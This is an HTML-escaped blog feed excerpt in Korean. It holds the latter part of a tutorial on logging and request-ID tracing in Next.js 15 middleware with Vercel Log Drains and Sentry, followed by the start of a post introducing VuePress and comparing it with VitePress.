&lt;td&gt;사용 가능 (Web 표준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node &lt;code class=&quot;language-text&quot;&gt;Buffer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 시간&lt;/td&gt;
&lt;td&gt;응답 전송 전까지 &lt;strong&gt;수 ms 이내&lt;/strong&gt; 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;즉, 파일 시스템에 로그를 쓰거나 Winston 같은 Node 전용 로거를 바로 불러오면 빌드가 깨집니다. 외부 전송은 &lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; 로 해야 합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;정 Node API 가 필요하면 &lt;code class=&quot;language-text&quot;&gt;export const runtime = &apos;nodejs&apos;&lt;/code&gt; 를 선언해 Node 런타임으로 전환할 수 있습니다. 단, 콜드 스타트와 비용이 늘어나니 되도록 Edge 를 유지하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. 실전 패턴 1 — 요청 ID 주입&lt;/h2&gt;
&lt;p&gt;분산 추적을 하려면 요청마다 고유 ID 가 있어야 합니다. 미들웨어에서 생성해 &lt;strong&gt;요청 헤더와 응답 헤더에 동시에&lt;/strong&gt; 심어 주면 Route Handler, Server Component, 클라이언트 모두 같은 ID 를 볼 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; requestId &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-request-id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; crypto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;randomUUID&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 다운스트림에서 읽을 수 있도록 요청 헤더에 주입&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; requestHeaders &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  requestHeaders&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-request-id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; requestId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; headers&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; requestHeaders &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 클라이언트가 디버깅용으로 볼 수 있도록 응답 헤더에도 노출&lt;/span&gt;
  response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-request-id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; requestId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token builtin&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      level&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;info&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      msg&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;request&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; requestId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      method&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      path&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      ua&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;user-agent&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      ip&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-forwarded-for&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/((?!_next/static|_next/image|favicon.ico).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Server Component 에서는 &lt;code class=&quot;language-text&quot;&gt;next/headers&lt;/code&gt; 의 &lt;code class=&quot;language-text&quot;&gt;headers()&lt;/code&gt; 로 같은 ID 를 읽습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// app/any/page.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; headers &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/headers&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; h &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; requestId &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; h&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x-request-id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// ... 로그 남길 때 이 ID 를 같이 전송&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;포인트는 &lt;strong&gt;JSON 한 줄로 로그를 찍는 것&lt;/strong&gt; 입니다. Vercel Log Drains, Datadog, Logflare 모두 구조화된 JSON 을 그대로 파싱합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. 실전 패턴 2 — Vercel Log Drains 연동&lt;/h2&gt;
&lt;p&gt;Vercel 에 배포하면 &lt;code class=&quot;language-text&quot;&gt;console.log&lt;/code&gt; 는 자동으로 &lt;strong&gt;Runtime Logs&lt;/strong&gt; 에 적재됩니다. 대시보드의 &lt;strong&gt;Observability → Logs&lt;/strong&gt; 에서 실시간 조회가 가능하고, Pro 플랜 이상에서는 &lt;strong&gt;Log Drains&lt;/strong&gt; 로 외부 저장소(S3, Datadog, Axiom, BetterStack 등) 에 스트리밍할 수 있습니다.&lt;/p&gt;
&lt;p&gt;설정 자체는 코드가 아니라 Vercel 대시보드에서 합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Project → Settings → &lt;strong&gt;Log Drains&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Destination 선택 (Datadog / Axiom / Custom Webhook)&lt;/li&gt;
&lt;li&gt;필터 조건 설정 (미들웨어만, 특정 경로만 등)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;애플리케이션 코드에서 할 일은 &lt;strong&gt;JSON 로그를 일관된 스키마로 찍는 것&lt;/strong&gt; 뿐입니다. 위 4번 섹션의 JSON 포맷을 그대로 쓰면 Log Drains 에서 그대로 인덱싱됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 실전 패턴 3 — Sentry 로 에러 추적&lt;/h2&gt;
&lt;p&gt;Sentry 는 2025년부터 Next.js 15 App Router 와 Edge Runtime 을 공식 지원합니다. 설치는 한 번입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx @sentry/wizard@latest &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; nextjs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;마법사가 &lt;code class=&quot;language-text&quot;&gt;sentry.edge.config.ts&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sentry.server.config.ts&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sentry.client.config.ts&lt;/code&gt; 세 파일을 생성합니다. 미들웨어에서 예외를 Sentry 로 보내려면 다음 패턴을 씁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; Sentry &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@sentry/nextjs&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// ... 인증/리다이렉트 등 로직&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    Sentry&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;captureException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      tags&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; layer&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;middleware&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      extra&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; path&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; error&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;internal&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;500&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;sentry.edge.config.ts&lt;/code&gt; 덕분에 Edge Runtime 에서도 정상 작동합니다. 4번 섹션의 요청 ID 를 Sentry tag 로 함께 보내면 로그-트레이스 상관관계 분석이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. 흔한 실수 체크리스트&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;정적 자산까지 로깅&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt; 누락으로 &lt;code class=&quot;language-text&quot;&gt;_next/static/*&lt;/code&gt; 가 전부 찍혀 로그 요금 폭탄&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;동기 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt; 등으로 응답 지연&lt;/strong&gt; — 미들웨어는 &lt;strong&gt;모든 요청의 앞단&lt;/strong&gt; 입니다. 외부 전송은 &lt;code class=&quot;language-text&quot;&gt;waitUntil&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; 를 &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt; 하지 말고 fire-and-forget 패턴으로&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;환경변수 런타임 변경 기대&lt;/strong&gt; — Edge 에서는 빌드 시점에 인라인됩니다. 런타임 변경은 Node 런타임에서만&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;pages/_middleware.ts&lt;/code&gt; 혼용&lt;/strong&gt; — 완전히 제거된 API 입니다. 루트 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 하나만&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. Edge Runtime 에서 &lt;code class=&quot;language-text&quot;&gt;console.log&lt;/code&gt; 가 로컬 터미널에 안 보이면?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;로컬 &lt;code class=&quot;language-text&quot;&gt;next dev&lt;/code&gt; 는 터미널에 그대로 출력됩니다. 만약 보이지 않는다면 &lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt; 에서 해당 경로가 제외됐거나, 빌드 캐시 이슈일 확률이 높습니다. &lt;code class=&quot;language-text&quot;&gt;.next&lt;/code&gt; 폴더 삭제 후 재시작해 보세요. 배포 환경에서는 Vercel 대시보드의 Runtime Logs 를 확인해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. Sentry 말고 Datadog APM 을 쓰고 싶어요.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Datadog 은 서버 런타임용 Node 라이브러리(&lt;code class=&quot;language-text&quot;&gt;dd-trace&lt;/code&gt;) 와 Edge 용 로그 수집을 구분합니다. 미들웨어(Edge) 에서는 &lt;strong&gt;Vercel Log Drains → Datadog Logs&lt;/strong&gt; 경로를 쓰고, Route Handler 에서 &lt;code class=&quot;language-text&quot;&gt;export const runtime = &apos;nodejs&apos;&lt;/code&gt; 를 선언한 구간만 &lt;code class=&quot;language-text&quot;&gt;dd-trace&lt;/code&gt; 로 APM 계측하는 분리 전략이 실무에서 가장 깔끔합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 미들웨어 로깅이 성능에 영향을 주지 않나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;console.log&lt;/code&gt; 한 줄과 헤더 주입 정도는 &lt;strong&gt;1ms 미만&lt;/strong&gt; 입니다. 다만 외부 API 호출을 &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt; 하면 전체 응답이 그만큼 지연됩니다. 외부 전송은 Log Drains 같은 비동기 경로를 쓰고, 미들웨어는 로컬 버퍼링만 담당하게 설계하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/middleware/&quot;&gt;Next.js 미들웨어 기본 개념 정리&lt;/a&gt; — 이 글이 로깅 중심이라면, 원리부터 보고 싶다면 이쪽을 추천합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/building-your-application/routing/middleware&quot;&gt;Next.js 공식 문서 — Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextjs.org/docs/app/api-reference/edge&quot;&gt;Next.js Edge Runtime API Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vercel.com/docs/observability/runtime-logs&quot;&gt;Vercel — Runtime Logs &amp;#x26; Log Drains&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.sentry.io/platforms/javascript/guides/nextjs/&quot;&gt;Sentry for Next.js&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;여기까지가 2026년 현재 Next.js 15 에서 미들웨어 로깅을 실무에 적용하는 최소 구성입니다. 여러분은 어떤 로그 스택을 쓰고 계신가요? Axiom, BetterStack, Datadog 중 궁합이 좋았던 조합이 있다면 댓글로 공유해 주세요. 궁금한 점이나 막히는 부분도 편하게 남겨 주시면 같이 풀어 보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[VuePress 시작하기 — 2026 기준 설치부터 배포까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Vue 로 기술문서 사이트를 만들고 싶은데, 지금 2026년에도 VuePress 를 써도 되나요?" 라는 질문을 자주 받습니다. 결론부터 말씀드리면 —
VuePress v…]]></description><link>https://blog.javapark.kr/getting-started/</link><guid isPermaLink="false">https://blog.javapark.kr/getting-started/</guid><pubDate>Wed, 26 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Vue 로 기술문서 사이트를 만들고 싶은데, 지금 2026년에도 VuePress 를 써도 되나요?&quot; 라는 질문을 자주 받습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 —
&lt;strong&gt;VuePress v2 는 여전히 정상적으로 유지되고 동작하지만, 2026년 현재 Vue 팀이 공식적으로 추천하는 SSG 는 VitePress&lt;/strong&gt; 입니다. 기존 VuePress 프로젝트를 유지보수 중이라면 그대로 써도 무방하고, 신규로 시작한다면 VitePress 쪽을 먼저 검토하시길 권합니다. 그래도 VuePress 기본기는 Vue 기반 SSG 를 이해하는 데 가장 빠른 지름길이라 오늘은 VuePress 를 기준으로 정리해 보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;VuePress 가 뭔가요?&lt;/h2&gt;
&lt;p&gt;간단히 말해, &lt;strong&gt;마크다운 파일을 예쁜 정적 웹사이트로 변환해주는 Vue.js 기반 도구&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vue.js 로 개발된 &lt;strong&gt;정적 사이트 생성기 (SSG)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;기술문서에 최적화된 &lt;strong&gt;기본 테마&lt;/strong&gt; 제공 (검색, 사이드바, 다국어 등)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin API&lt;/strong&gt; 로 Google Analytics, PWA, SEO 등을 손쉽게 확장&lt;/li&gt;
&lt;li&gt;마크다운 안에서 Vue 컴포넌트를 그대로 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;일상 비유로는, 워드 문서 폴더 하나를 통째로 잘 정돈된 기술 블로그로 바꿔주는 컨베이어 벨트 같은 녀석이라고 보시면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;VuePress vs VitePress, 뭐가 다른가?&lt;/h2&gt;
&lt;p&gt;솔직하게 비교해 보겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
